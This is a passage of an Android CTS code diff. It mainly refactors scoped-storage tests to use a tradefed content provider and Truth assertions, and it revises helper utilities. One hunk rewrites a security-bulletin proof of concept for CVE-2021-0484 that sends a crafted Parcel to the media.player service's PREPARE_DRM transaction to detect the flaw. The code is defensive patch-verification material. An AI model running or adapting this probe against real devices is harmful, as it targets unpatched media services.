     }
 
@@ -72,19 +73,21 @@
      * creating file.
      */
     private void createFileAsShell(String filePath) throws Exception {
-        executeShellCommand("touch " + filePath);
+        executeShellCommand("touch %s", filePath);
         assertThat(getDevice().doesFileExist(filePath)).isTrue();
     }
 
     private void setupExternalStorage() throws Exception {
-        if (!isExternalStorageSetup) {
+        if (!mIsExternalStorageSetup) {
             runDeviceTest("setupExternalStorage");
-            isExternalStorageSetup = true;
+            mIsExternalStorageSetup = true;
         }
     }
 
     @Before
     public void setup() throws Exception {
+        mContentProviderHandler = new ContentProviderHandler(getDevice());
+        mContentProviderHandler.setUp();
         setupExternalStorage();
         // Granting WRITE automatically grants READ as well, so we grant them both explicitly by
         // default in order to avoid confusion. Test cases that don't want any of those permissions
@@ -95,6 +98,7 @@
 
     @After
     public void tearDown() throws Exception {
+        mContentProviderHandler.tearDown();
         revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE",
                 "android.permission.READ_EXTERNAL_STORAGE");
     }
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java
index dbfa9fb..256540a 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java
@@ -16,7 +16,7 @@
 
 package android.scopedstorage.cts.host;
 
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
 
 import com.android.tradefed.device.ITestDevice;
 
@@ -25,16 +25,14 @@
 
 public class PublicVolumeHostTest extends ScopedStorageHostTest {
     /** Used to clean up the virtual volume after the test */
-    private static ITestDevice sDevice = null;
-    private boolean mIsPublicVolumeSetup = false;
-    String executeShellCommand(String cmd) throws Exception {
-        return getDevice().executeShellCommand(cmd);
-    }
+    private static ITestDevice sDevice;
+    private boolean mIsPublicVolumeSetup;
 
     private void setupNewPublicVolume() throws Exception {
         if (!mIsPublicVolumeSetup) {
-            assertTrue(runDeviceTests("android.scopedstorage.cts",
-                    "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"));
+            assertThat(runDeviceTests("android.scopedstorage.cts",
+                    "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"))
+                            .isTrue();
             mIsPublicVolumeSetup = true;
         }
     }
@@ -51,8 +49,8 @@
      */
     @Override
     void runDeviceTest(String phase) throws Exception {
-        assertTrue(runDeviceTests("android.scopedstorage.cts",
-                "android.scopedstorage.cts.PublicVolumeTest", phase));
+        assertThat(runDeviceTests("android.scopedstorage.cts",
+                "android.scopedstorage.cts.PublicVolumeTest", phase)).isTrue();
     }
 
     @Before
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java
index c9bd65f..4b38df1 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java
@@ -16,7 +16,7 @@
 
 package android.scopedstorage.cts.host;
 
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -33,8 +33,9 @@
 
     private void setupNewPublicVolume() throws Exception {
         if (!mIsPublicVolumeSetup) {
-            assertTrue(runDeviceTests("android.scopedstorage.cts",
-                    "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"));
+            assertThat(runDeviceTests("android.scopedstorage.cts",
+                    "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"))
+                            .isTrue();
             mIsPublicVolumeSetup = true;
         }
     }
@@ -51,8 +52,8 @@
      */
     @Override
     void runDeviceTest(String phase) throws Exception {
-        assertTrue(runDeviceTests("android.scopedstorage.cts.legacy",
-                "android.scopedstorage.cts.legacy.PublicVolumeLegacyTest", phase));
+        assertThat(runDeviceTests("android.scopedstorage.cts.legacy",
+                "android.scopedstorage.cts.legacy.PublicVolumeLegacyTest", phase)).isTrue();
     }
 
     @Before
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index b20342c..9e29480 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -16,13 +16,13 @@
 
 package android.scopedstorage.cts.host;
 
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
 
 import android.platform.test.annotations.AppModeFull;
 
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.contentprovider.ContentProviderHandler;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
 
 import org.junit.After;
@@ -35,17 +35,18 @@
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
 @AppModeFull
-public class ScopedStorageHostTest extends BaseHostJUnit4Test {
-    private boolean mIsExternalStorageSetup = false;
+public class ScopedStorageHostTest extends BaseHostTestCase {
+    private boolean mIsExternalStorageSetup;
+
+    private ContentProviderHandler mContentProviderHandler;
 
     /**
      * Runs the given phase of ScopedStorageTest by calling into the device.
      * Throws an exception if the test phase fails.
      */
     void runDeviceTest(String phase) throws Exception {
-        assertTrue(runDeviceTests("android.scopedstorage.cts",
-                "android.scopedstorage.cts.ScopedStorageTest", phase));
-
+        assertThat(runDeviceTests("android.scopedstorage.cts",
+                "android.scopedstorage.cts.ScopedStorageTest", phase)).isTrue();
     }
 
     /**
@@ -61,10 +62,6 @@
             .setDisableIsolatedStorage(true));
     }
 
-    String executeShellCommand(String cmd) throws Exception {
-        return getDevice().executeShellCommand(cmd);
-    }
-
     private void setupExternalStorage() throws Exception {
         if (!mIsExternalStorageSetup) {
             runDeviceTest("setupExternalStorage");
@@ -74,6 +71,11 @@
 
     @Before
     public void setup() throws Exception {
+        // Set up content provider. This would install android.tradefed.contentprovider
+        // which is used to create and delete files/Dir on device side test.
+        mContentProviderHandler = new ContentProviderHandler(getDevice());
+        mContentProviderHandler.setUp();
+
         setupExternalStorage();
         executeShellCommand("mkdir /sdcard/Android/data/com.android.shell -m 2770");
         executeShellCommand("mkdir /sdcard/Android/data/com.android.shell/files -m 2770");
@@ -87,6 +89,7 @@
 
     @After
     public void tearDown() throws Exception {
+        mContentProviderHandler.tearDown();
         executeShellCommand("rm -r /sdcard/Android/data/com.android.shell");
     }
 
@@ -512,14 +515,18 @@
     }
 
     private void grantPermissions(String... perms) throws Exception {
+        int currentUserId = getCurrentUserId();
         for (String perm : perms) {
-            executeShellCommand("pm grant android.scopedstorage.cts " + perm);
+            executeShellCommand("pm grant --user %d android.scopedstorage.cts %s",
+                    currentUserId, perm);
         }
     }
 
     private void revokePermissions(String... perms) throws Exception {
+        int currentUserId = getCurrentUserId();
         for (String perm : perms) {
-            executeShellCommand("pm revoke android.scopedstorage.cts " + perm);
+            executeShellCommand("pm revoke --user %d android.scopedstorage.cts %s",
+                    currentUserId, perm);
         }
     }
 
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java
index c97b41f..50fd029 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java
@@ -16,12 +16,11 @@
 
 package android.scopedstorage.cts.host;
 
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
 
 import android.platform.test.annotations.AppModeInstant;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -30,14 +29,14 @@
  * Runs the ScopedStorageTest tests for an instant app.
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class ScopedStorageInstantAppHostTest extends BaseHostJUnit4Test {
+public class ScopedStorageInstantAppHostTest extends BaseHostTestCase {
     /**
      * Runs the given phase of Test by calling into the device.
      * Throws an exception if the test phase fails.
      */
     protected void runDeviceTest(String phase) throws Exception {
-        assertTrue(runDeviceTests("android.scopedstorage.cts",
-                "android.scopedstorage.cts.ScopedStorageTest", phase));
+        assertThat(runDeviceTests("android.scopedstorage.cts",
+                "android.scopedstorage.cts.ScopedStorageTest", phase)).isTrue();
     }
 
     @Test
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
index 4596cab..414474b 100644
--- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
@@ -109,6 +109,7 @@
      * test runs.
      */
     static final String NONCE = String.valueOf(System.nanoTime());
+    static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider";
 
     static final String IMAGE_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".jpg";
     static final String VIDEO_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".mp4";
@@ -132,7 +133,7 @@
 
     @After
     public void teardown() throws Exception {
-        executeShellCommand("rm " + getShellFile());
+        deleteFileInExternalDir(getShellFile());
         MediaStore.scanFile(getContentResolver(), getShellFile());
     }
 
@@ -221,7 +222,7 @@
         final File existingFile = getShellFile();
 
         try {
-            executeShellCommand("touch " + existingFile);
+            createFileInExternalDir(existingFile);
             MediaStore.scanFile(getContentResolver(), existingFile);
             Os.open(existingFile.getPath(), OsConstants.O_RDONLY, /*mode*/ 0);
             fail("Opening file for read expected to fail: " + existingFile);
@@ -274,7 +275,7 @@
         // can open file for read
         FileDescriptor fd = null;
         try {
-            executeShellCommand("touch " + existingFile);
+            executeShellCommand("touch %s", existingFile);
             MediaStore.scanFile(getContentResolver(), existingFile);
             fd = Os.open(existingFile.getPath(), OsConstants.O_RDONLY, /*mode*/ 0);
         } finally {
@@ -316,7 +317,7 @@
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ false);
         final File shellFile = getShellFile();
 
-        executeShellCommand("touch " + getShellFile());
+        createFileInExternalDir(shellFile);
         MediaStore.scanFile(getContentResolver(), getShellFile());
         // can list a non-media file created by other package.
         assertThat(Arrays.asList(shellFile.getParentFile().list()))
@@ -384,7 +385,7 @@
                 new File(TestUtils.getExternalMediaDir(),
                         "LegacyFileAccessTest2");
         try {
-            executeShellCommand("touch " + shellFile1);
+            createFileInExternalDir(shellFile1);
             MediaStore.scanFile(getContentResolver(), shellFile1);
             // app can't rename shell file.
             assertCantRenameFile(shellFile1, shellFile2);
@@ -419,7 +420,7 @@
                 new File(TestUtils.getExternalMediaDir(),
                         "LegacyFileAccessTest2");
         try {
-            executeShellCommand("touch " + shellFile1);
+            createFileInExternalDir(shellFile1);
             MediaStore.scanFile(getContentResolver(), shellFile1);
             // app can't rename shell file.
             assertCantRenameFile(shellFile1, shellFile2);
@@ -821,4 +822,14 @@
         return new File(TestUtils.getExternalStorageDir(),
                 "LegacyAccessHostTest_shell");
     }
+
+    private void createFileInExternalDir(File file) throws Exception {
+        Log.d(TAG, "Creating file " + file + " in the external Directory");
+        getContentResolver().openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), "w", null);
+    }
+
+    private void deleteFileInExternalDir(File file) throws Exception {
+        Log.d(TAG, "Deleting file " + file + " from the external Directory");
+        getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
+    }
 }
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index 9237046..1533d1a 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -170,7 +170,8 @@
     /**
      * Executes a shell command.
      */
-    public static String executeShellCommand(String command) throws IOException {
+    public static String executeShellCommand(String pattern, Object...args) throws IOException {
+        String command = String.format(pattern, args);
         int attempt = 0;
         while (attempt++ < 5) {
             try {
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index abf72f0..eaab320 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -164,7 +164,9 @@
 @RunWith(AndroidJUnit4.class)
 public class ScopedStorageTest {
     static final String TAG = "ScopedStorageTest";
+    static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider";
     static final String THIS_PACKAGE_NAME = getContext().getPackageName();
+    static final int USER_SYSTEM = 0;
 
     /**
      * To help avoid flaky tests, give ourselves a unique nonce to be used for
@@ -766,7 +768,7 @@
         final File videoFile = new File(getMusicDir(), VIDEO_FILE_NAME);
         try {
             // TEST_APP_A with storage permission should not see pdf file in DCIM
-            executeShellCommand("touch " + pdfFile.getAbsolutePath());
+            createFileUsingTradefedContentProvider(pdfFile);
             assertThat(pdfFile.exists()).isTrue();
             assertThat(MediaStore.scanFile(getContentResolver(), pdfFile)).isNotNull();
 
@@ -774,14 +776,14 @@
             assertThat(listAs(TEST_APP_A, getDcimDir().getPath()))
                     .doesNotContain(NONMEDIA_FILE_NAME);
 
-            executeShellCommand("touch " + videoFile.getAbsolutePath());
+            createFileUsingTradefedContentProvider(videoFile);
             // We don't insert files to db for files created by shell.
             assertThat(MediaStore.scanFile(getContentResolver(), videoFile)).isNotNull();
             // TEST_APP_A with storage permission should see video file in Music directory.
             assertThat(listAs(TEST_APP_A, getMusicDir().getPath())).contains(VIDEO_FILE_NAME);
         } finally {
-            executeShellCommand("rm " + pdfFile.getAbsolutePath());
-            executeShellCommand("rm " + videoFile.getAbsolutePath());
+            deleteFileUsingTradefedContentProvider(pdfFile);
+            deleteFileUsingTradefedContentProvider(videoFile);
             MediaStore.scanFile(getContentResolver(), pdfFile);
             MediaStore.scanFile(getContentResolver(), videoFile);
             uninstallAppNoThrow(TEST_APP_A);
@@ -2094,15 +2096,15 @@
             assertAccess(doesntExistPdf, false, false, false);
 
             // We can check only exists for another app's files on root.
-            // Use shell to create root file because TEST_APP_A is in
+            // Use content provider to create root file because TEST_APP_A is in
             // scoped storage.
-            executeShellCommand("touch " + shellPdfAtRoot.getAbsolutePath());
+            createFileUsingTradefedContentProvider(shellPdfAtRoot);
             MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
             assertFileAccess_existsOnly(shellPdfAtRoot);
         } finally {
             deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
             deleteFileAsNoThrow(TEST_APP_A, otherAppImage.getAbsolutePath());
-            executeShellCommand("rm " + shellPdfAtRoot.getAbsolutePath());
+            deleteFileUsingTradefedContentProvider(shellPdfAtRoot);
             MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
             myAppPdf.delete();
             uninstallApp(TEST_APP_A);
@@ -2150,13 +2152,13 @@
             assertDirectoryAccess(new File(getExternalStorageDir(), "Android"), true, false);
             assertDirectoryAccess(new File(getExternalStorageDir(), "doesnt/exist"), false, false);
 
-            executeShellCommand("mkdir " + topLevelDir.getAbsolutePath());
+            createDirUsingTradefedContentProvider(topLevelDir);
             assertDirectoryAccess(topLevelDir, true, false);
 
             assertCannotReadOrWrite(new File("/storage/emulated"));
         } finally {
             uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
-            executeShellCommand("rmdir " + topLevelDir.getAbsolutePath());
+            deleteDirUsingTradefedContentProvider(topLevelDir);
         }
     }
 
@@ -2212,13 +2214,11 @@
         final File podcastsDir = getPodcastsDir();
         try {
             if (podcastsDir.exists()) {
-                // Apps can't delete top level directories, not even default directories, so we let
-                // shell do the deed for us.
-                executeShellCommand("rm -r " + podcastsDir);
+                deleteDirUsingTradefedContentProvider(podcastsDir);
             }
             assertThat(podcastsDir.mkdir()).isTrue();
         } finally {
-            executeShellCommand("mkdir " + podcastsDir);
+            createDirUsingTradefedContentProvider(podcastsDir);
         }
     }
 
@@ -2234,7 +2234,7 @@
         try {
             installApp(TEST_APP_A);
             assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
-            executeShellCommand("touch " + otherTopLevelFile);
+            createFileUsingTradefedContentProvider(otherTopLevelFile);
             MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
 
             // We can list other apps' files
@@ -2247,7 +2247,7 @@
             // We can also list all top level directories
             assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
         } finally {
-            executeShellCommand("rm " + otherTopLevelFile);
+            deleteFileUsingTradefedContentProvider(otherTopLevelFile);
             MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
             deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
             uninstallApp(TEST_APP_A);
@@ -2490,6 +2490,8 @@
     @Test
     public void testWallpaperApisNoPermission() throws Exception {
         WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+        assumeTrue("Test skipped as wallpaper is not supported.",
+                wallpaperManager.isWallpaperSupported());
         assertThrows(SecurityException.class, () -> wallpaperManager.getFastDrawable());
         assertThrows(SecurityException.class, () -> wallpaperManager.peekFastDrawable());
         assertThrows(SecurityException.class,
@@ -2696,7 +2698,7 @@
         try {
             installApp(TEST_APP_A);
             assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
-            executeShellCommand("touch " + otherTopLevelFile);
+            createFileUsingTradefedContentProvider(otherTopLevelFile);
 
             // We can list other apps' files
             assertDirectoryContains(otherAppPdf.getParentFile(), otherAppPdf);
@@ -2708,7 +2710,7 @@
             // We can also list all top level directories
             assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
         } finally {
-            executeShellCommand("rm " + otherTopLevelFile);
+            deleteFileUsingTradefedContentProvider(otherTopLevelFile);
             deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
             uninstallApp(TEST_APP_A);
         }
@@ -2738,6 +2740,8 @@
 
     @Test
     public void testRenameFromShell() throws Exception {
+        // This test is for shell and shell always runs as USER_SYSTEM
+        assumeTrue("Test is applicable only for System User.", getCurrentUser() == USER_SYSTEM);
         final File imageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
         final File dir = new File(getMoviesDir(), TEST_DIRECTORY_NAME);
         final File renamedDir = new File(getMusicDir(), TEST_DIRECTORY_NAME);
@@ -3144,4 +3148,38 @@
             assertThrows(ErrnoException.class, () -> { Os.access(file.getAbsolutePath(), mask); });
         }
     }
+
+    private void createFileUsingTradefedContentProvider(File file) throws Exception {
+        // Files/Dirs are created using content provider. Owner of the Filse/Dirs is
+        // android.tradefed.contentprovider.
+        Log.d(TAG, "Creating file " + file);
+        getContentResolver().openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), "w", null);
+    }
+
+    private void createDirUsingTradefedContentProvider(File file) throws Exception {
+        // Files/Dirs are created using content provider. Owner of the Files/Dirs is
+        // android.tradefed.contentprovider.
+        Log.d(TAG, "Creating Dir " + file);
+        // Create a tmp file in the target directory, this would also create the required
+        // directory, then delete the tmp file. It would leave only new directory.
+        getContentResolver()
+            .openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath() + "/tmp.txt"), "w", null);
+        getContentResolver()
+            .delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath() + "/tmp.txt"), null, null);
+    }
+
+    private void deleteFileUsingTradefedContentProvider(File file) throws Exception {
+        Log.d(TAG, "Deleting file " + file);
+        getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
+    }
+
+    private void deleteDirUsingTradefedContentProvider(File file) throws Exception {
+        Log.d(TAG, "Deleting Dir " + file);
+        getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
+    }
+
+    private int getCurrentUser() throws Exception {
+        String userId = executeShellCommand("am get-current-user");
+        return Integer.parseInt(userId.trim());
+    }
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0484/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0484/poc.cpp
index 0de0391..602f48a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0484/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0484/poc.cpp
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -18,50 +18,40 @@
 #include <binder/IServiceManager.h>
 #include <media/mediaplayer.h>
 
-#define PREPARE_DRM 38
-
 using namespace android;
 
 int main() {
+  constexpr size_t bufferSize = 16;
+  constexpr uint32_t prepareDrm = 38;
+  constexpr uint32_t unknownTrxnCode = prepareDrm + 5;
   sp<IServiceManager> serviceManager = defaultServiceManager();
-  if (serviceManager == nullptr) {
-    return EXIT_FAILURE;
-  }
+  FAIL_CHECK(serviceManager != nullptr);
 
   sp<IBinder> mediaPlayerService =
       serviceManager->getService(String16("media.player"));
-  if (mediaPlayerService == nullptr) {
-    return EXIT_FAILURE;
-  }
+  FAIL_CHECK(mediaPlayerService != nullptr);
 
   sp<IMediaPlayerService> iMediaPlayerService =
       IMediaPlayerService::asInterface(mediaPlayerService);
-  if (iMediaPlayerService == nullptr) {
-    return EXIT_FAILURE;
-  }
+  FAIL_CHECK(iMediaPlayerService != nullptr);
 
-  MediaPlayer *mediaPlayer = new MediaPlayer();
-  if (mediaPlayer == nullptr) {
-    return EXIT_FAILURE;
-  }
+  sp<MediaPlayer> mediaPlayer = new MediaPlayer();
+  FAIL_CHECK(mediaPlayer != nullptr);
 
   sp<IMediaPlayer> iMediaPlayer = iMediaPlayerService->create(mediaPlayer);
-  if (iMediaPlayer == nullptr) {
-    delete (mediaPlayer);
-    return EXIT_FAILURE;
-  }
+  FAIL_CHECK(iMediaPlayer != nullptr);
 
   Parcel data, reply;
   data.writeInterfaceToken(iMediaPlayer->getInterfaceDescriptor());
-  const uint8_t arr[16] = {};
-  data.write(arr, 16);
-  data.writeUint32(2);
-  data.writeUnpadded(arr, 1);
+  status_t status = IMediaPlayer::asBinder(iMediaPlayer)
+                        ->transact(unknownTrxnCode, data, &reply);
+  FAIL_CHECK(status == UNKNOWN_TRANSACTION);
 
-  IMediaPlayer::asBinder(iMediaPlayer)->transact(PREPARE_DRM, data, &reply);
-  uint32_t size = 0;
-  reply.readUint32(&size);
-
-  delete (mediaPlayer);
-  return (size > 0) ? EXIT_VULNERABLE : EXIT_SUCCESS;
+  const uint8_t arr[bufferSize] = {};
+  data.write(arr, bufferSize);
+  data.writeUint32(bufferSize);
+  data.writeUnpadded(arr, bufferSize - 1);
+  status =
+      IMediaPlayer::asBinder(iMediaPlayer)->transact(prepareDrm, data, &reply);
+  return status == OK ? EXIT_VULNERABLE : EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 6efcc47..3398367 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -16,7 +16,10 @@
 
 package android.security.cts;
 
-import com.android.compatibility.common.util.CrashUtils;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
 import com.android.compatibility.common.util.MetricsReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
@@ -24,11 +27,16 @@
 import com.android.ddmlib.NullOutputReceiver;
 import com.android.ddmlib.CollectingOutputReceiver;
 import com.android.sts.common.tradefed.testtype.SecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.device.NativeDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
 import java.io.BufferedOutputStream;
 import java.io.File;
 import java.io.FileOutputStream;
@@ -37,25 +45,15 @@
 import java.util.concurrent.TimeoutException;
 import java.util.List;
 import java.util.Map;
+import java.util.concurrent.TimeUnit;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
-import java.util.concurrent.TimeUnit;
-import java.util.Scanner;
 import java.util.Arrays;
 import java.util.ArrayList;
-import java.util.concurrent.Callable;
 import java.util.Collections;
-
-import org.json.JSONArray;
-import org.json.JSONException;
-import org.json.JSONObject;
-
 import java.util.regex.Pattern;
 import java.lang.Thread;
 
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
-
 public class AdbUtils {
 
     final static String TMP_PATH = "/data/local/tmp/";
@@ -68,15 +66,18 @@
     final static Pattern regexSpecialCharsEscapedPattern =
             Pattern.compile("[" + regexSpecialCharsEscaped + "]");
 
+    /**
+     * @deprecated Use {@link NativePoc} instead.
+     */
+    @Deprecated
     public static class pocConfig {
         String binaryName;
         String arguments;
         Map<String, String> envVars;
         String inputFilesDestination;
         ITestDevice device;
-        CrashUtils.Config config;
+        TombstoneUtils.Config config = new TombstoneUtils.Config();
         List<String> inputFiles = Collections.emptyList();
-        boolean checkCrash = true;
 
         pocConfig(String binaryName, ITestDevice device) {
             this.binaryName = binaryName;
@@ -84,12 +85,15 @@
         }
     }
 
-    /** Runs a commandline on the specified device
+    /**
+     * Runs a commandline on the specified device
      *
+     * @deprecated Use {@link CommandUtil} instead.
      * @param command the command to be ran
      * @param device device for the command to be ran on
      * @return the console output from running the command
      */
+    @Deprecated
     public static String runCommandLine(String command, ITestDevice device) throws Exception {
         if ("reboot".equals(command)) {
             throw new IllegalArgumentException(
@@ -101,10 +105,12 @@
     /**
      * Pushes and runs a binary to the selected device
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName name of the poc binary
      * @param device device to be ran on
      * @return the console output from the binary
      */
+    @Deprecated
     public static String runPoc(String pocName, ITestDevice device) throws Exception {
         return runPoc(pocName, device, SecurityTestCase.TIMEOUT_NONDETERMINISTIC);
     }
@@ -112,11 +118,13 @@
     /**
      * Pushes and runs a binary to the selected device
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName name of the poc binary
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      * @return the console output from the binary
      */
+    @Deprecated
     public static String runPoc(String pocName, ITestDevice device, int timeout) throws Exception {
         return runPoc(pocName, device, timeout, null);
     }
@@ -124,12 +132,14 @@
     /**
      * Pushes and runs a binary to the selected device
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName name of the poc binary
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      * @param arguments the input arguments for the poc
      * @return the console output from the binary
      */
+    @Deprecated
     public static String runPoc(String pocName, ITestDevice device, int timeout, String arguments)
             throws Exception {
         CollectingOutputReceiver receiver = new CollectingOutputReceiver();
@@ -140,48 +150,57 @@
     /**
      * Pushes and runs a binary to the selected device and ignores any of its output.
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName name of the poc binary
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      */
+    @Deprecated
     public static void runPocNoOutput(String pocName, ITestDevice device, int timeout)
             throws Exception {
         runPocNoOutput(pocName, device, timeout, null);
     }
 
     /**
-     * Pushes and runs a binary with arguments to the selected device and
-     * ignores any of its output.
+     * Pushes and runs a binary with arguments to the selected device and ignores any of its output.
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName name of the poc binary
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      * @param arguments input arguments for the poc
      */
-    public static void runPocNoOutput(String pocName, ITestDevice device, int timeout,
-            String arguments) throws Exception {
+    @Deprecated
+    public static void runPocNoOutput(
+            String pocName, ITestDevice device, int timeout, String arguments) throws Exception {
         runPoc(pocName, device, timeout, arguments, null);
     }
 
     /**
-     * Pushes and runs a binary with arguments to the selected device and
-     * ignores any of its output.
+     * Pushes and runs a binary with arguments to the selected device and ignores any of its output.
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName name of the poc binary
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      * @param arguments input arguments for the poc
      * @param receiver the type of receiver to run against
      */
-    public static int runPoc(String pocName, ITestDevice device, int timeout,
-            String arguments, IShellOutputReceiver receiver) throws Exception {
+    @Deprecated
+    public static int runPoc(
+            String pocName,
+            ITestDevice device,
+            int timeout,
+            String arguments,
